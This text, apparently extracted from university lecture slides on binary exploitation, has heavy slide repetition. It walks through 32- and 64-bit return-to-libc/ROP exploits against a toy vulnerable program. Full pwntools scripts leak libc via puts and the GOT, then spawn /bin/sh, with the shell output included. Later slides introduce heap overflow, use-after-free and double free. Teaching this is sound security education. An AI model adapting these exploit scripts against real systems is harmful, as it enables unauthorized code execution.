This is libc address!

Universal GOT for leak: __libc_start_main

[__libc_start_main@got]

[????]

vuln’s return address
[puts]

0x080483ed <+45>:    call   0x80483a0 
<__libc_start_main@plt>

(gdb) x/i 0x80483a0
0x8048390 : jmp *0x804a01c

(gdb) x/x 0x804a01c
0x804a018: 0xf7df1e30



This is libc address!

Universal GOT for leak: __libc_start_main

[__libc_start_main@got]

[????]

vuln’s return address
[puts]

0x080483ed <+45>:    call   0x80483a0 
<__libc_start_main@plt>

(gdb) x/i 0x80483a0
0x8048390 : jmp *0x804a01c

(gdb) x/x 0x804a01c
0x804a018: 0xf7df1e30



This is libc address!

Universal GOT for leak: __libc_start_main

[__libc_start_main@got]

[????]

vuln’s return address
[puts]

0x080483ed <+45>:    call   0x80483a0 
<__libc_start_main@plt>

(gdb) x/i 0x80483a0
0x8048390 : jmp *0x804a01c

(gdb) x/x 0x804a01c
0x804a018: 0xf7df1e30



from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"

+ p32(e.symbols['puts'])
+ p32(0)
+ p32(e.got['__libc_start_main']))

p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)



$ python exploit.py
[+] Starting local process './vuln': pid 18665
[*] '/home/vagrant/vuln'

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

LIBC_BASE: 0xf7e11000



Then, let’s call system!

[__libc_start_main@got]

[system]

vuln’s return address
[puts]



Then, let’s call system!

[__libc_start_main@got]

[system]

vuln’s return address
[puts]



Then, let’s call system!

[__libc_start_main@got]

[system]

vuln’s return address
[puts]

Wait! I don’t know system 
address when I send this 

payload!



Back to the main!

[__libc_start_main@got]

[main]

vuln’s return address
[puts]



Back to the main!

[__libc_start_main@got]

[main]

vuln’s return address
[puts]

void vuln() {
char buf[32];
read(0, buf, 0x100);

}

int main() {
puts("Welcome!");
vuln();
exit(0);

}



Back to the main!

[__libc_start_main@got]

[main]

vuln’s return address
[puts]

void vuln() {
char buf[32];
read(0, buf, 0x100);

}

int main() {
puts("Welcome!");
vuln();
exit(0);

} Re-trigger the 
vulnerability!



Back to the main!

[“/bin/sh”]

[????]

vuln’s return address
[system]

2nd exploit

[__libc_start_main@got]

[main]

vuln’s return address
[puts]

1st exploit



from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"

+ p32(e.symbols['puts'])
+ p32(e.symbols['main']) # CHANGED
+ p32(e.got['__libc_start_main']))

p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)

# 2nd exploit
libc.address = libc_base
payload = (b"A"*0x28 + b"BBBB"

+ p32(libc.symbols['system'])
+ p32(0)
+ p32(next(libc.search(b'/bin/sh'))))

p.send(payload)
p.interactive()



• $ python exploit.py
[+] Starting local process './vuln': pid 18842
[*] '/home/vagrant/vuln'

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

LIBC_BASE: 0xf7e11000
[*] Switching to interactive mode
Welcome!
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)



ROP in 64-bit

• Need to set an argument in rdi
• e.g., we need a gadget like

pop rdi
ret
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Gadgets by breaking instructions

• At the end of __libc_csu_init(), we have following instructions

• If we use an address in the middle, we will get

0x400d82 : pop r15
0x400d84 : ret

0x400d83 : pop rdi
0x400d84 : ret



Get more gadgets using ropr

• In our server, we installed a tool called ropper
• https://github.com/Ben-Lichtman/ropr
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Get more gadgets using ropr

• In our server, we installed a tool called ropper
• https://github.com/Ben-Lichtman/ropr

$ ropr /usr/lib/libc.so.6 -m 2 -j -s -R "^mov eax, ...;"
0x000353e7: mov eax, eax; ret;
0x000788c8: mov eax, ecx; ret;
0x00052252: mov eax, edi; ret;
0x0003ae43: mov eax, edx; ret;
0x000353e6: mov eax, r8d; ret;
0x000788c7: mov eax, r9d; ret;

https://github.com/Ben-Lichtman/ropr
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vuln’s return address
[pop rdi;ret]

1st exploit



64bit ROP using “pop rdi; ret”

[system]

[“/bin/sh”]

vuln’s return address
[pop rdi;ret]

2nd exploit

[main]

[puts]

[__libc_start_main@got]

vuln’s return address
[pop rdi;ret]

1st exploit



64bit ROP using “pop rdi; ret”

[system]

[“/bin/sh”]

vuln’s return address
[pop rdi;ret]

2nd exploit

[main]

[puts]

[__libc_start_main@got]

vuln’s return address
[pop rdi;ret]

1st exploit
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[system]
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2nd exploit

[main]
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[__libc_start_main@got]

vuln’s return address
[pop rdi;ret]

1st exploit



Review: sample

void vuln() {
char buf[32];
read(0, buf, 0x100);

}

int main() {
puts("Welcome!");
vuln();
exit(0);

}



from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome

pop_rdi_ret = 0x0000000000400623
payload = ("A"*0x28

+ p64(pop_rdi_ret)
+ p64(e.got['__libc_start_main'])
+ p64(e.symbols['puts'])
+ p64(e.symbols['_start']))

p.send(payload)

# Unlike 32bit, 64bit libc address contains NULL
# Therefore, puts() returns the address with line break(i.e., \n)
# (e.g., 'P\xd7\xa2\xf7\xff\x7f\n' -> 0x00007ffff7a2d750)
# This code eliminates the line break and make it 8 bytes
libc_start_main = u64(p.readline().strip().ljust(8, '\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)

# 2nd exploit
libc.address = libc_base
payload = ("A"*0x28

+ p64(pop_rdi_ret)
+ p64(next(libc.search('/bin/sh')))
+ p64(libc.symbols['system'])

p.send(payload)
p.interactive()



• $ python exploit.py
[+] Starting local process './vuln': pid 12103
[*] '/home/vagrant/vuln'

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

LIBC_BASE: 0x7ffff7a0d000
[*] Switching to interactive mode
Welcome!
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)



Heap vulnerabilities
Insu Yun



Today’s lecture

• Understand heap vulnerabilities



Heap

• A region for dynamically allocated memory
• Can use with standard library functions: malloc, calloc, free, …

// Dynamically allocate 10 bytes
char *buffer = (char *)malloc(10);

strcpy(buffer, "hello");
printf("%s\n", buffer); // prints "hello"

// Frees/unallocates the dynamic memory allocated earlier
free(buffer);



Heap vulnerabilities

• Overflow: Writing beyond an object boundary

• Write-after-free: Reusing a freed object

• Invalid free: Freeing an invalid pointer

• Double free: Freeing a reclaimed object

 Application- or allocator-specific exploitation



Heap overflow

• ptmalloc allocates memory linearly.
• Thus, it would be possible to overflow other object 

(or even other field in the same object).

• Unlike stack, a heap object has no universal data for hijacking control 
flow (e.g., return address). Thus, we need to use a other fields for 
getting control (e.g., data or code pointers)



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct {
char buf[100];
void (*fp)();

} Packet;

int main() {
Packet* p1 = calloc(1, sizeof(Packet));
Packet* p2 = calloc(1, sizeof(Packet));
read(0, p1->buf, 0x100);

if (p2->fp != NULL)
p2->fp();

}

pwndbg> r <<< $(python -c'print"A"*0x100')
pwndbg> x/i $pc
=> 0x5555555546e8 <main+94>: call rdx
pwndbg> x/gx $rdx
0x4141414141414141: Cannot access memory at address 0x4141414141414141



Use-after-Free (UaF)

• Referencing memory after it has been freed can cause a program to 
crash, use unexpected values, or execute code.

• ptmalloc2 makes this exploit easier due to its first-fit strategy
• If you free a certain object and allocate other one with the same size, the old 

object is returned for the new request.



Example

https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html

#include <stdio.h>
#include <stdlib.h>

struct unicorn_counter { int num; };

int main() {
struct unicorn_counter* p_unicorn_counter;
int* run_calc = malloc(sizeof(int));
*run_calc = 0;
free(run_calc);
p_unicorn_counter = malloc(sizeof(struct unicorn_counter));
p_unicorn_counter->num = 42;
if (*run_calc) execl("/bin/sh", 0);

}



Double free

• Freeing a resource that is already freed.
• We typically exploit this by changing double free into use-after-free

int main(int argc, char **argv) {
Packet *p1 = malloc(sizeof(Packet));
free(p1);

Packet *p2 = malloc(sizeof(Packet));
free(p1); // Double free

// using p2 => use-after-free
}



Reference

• https://heap-exploitation.dhavalkapil.com/
• https://sourceware.org/glibc/wiki/MallocInternals

https://heap-exploitation.dhavalkapil.com/
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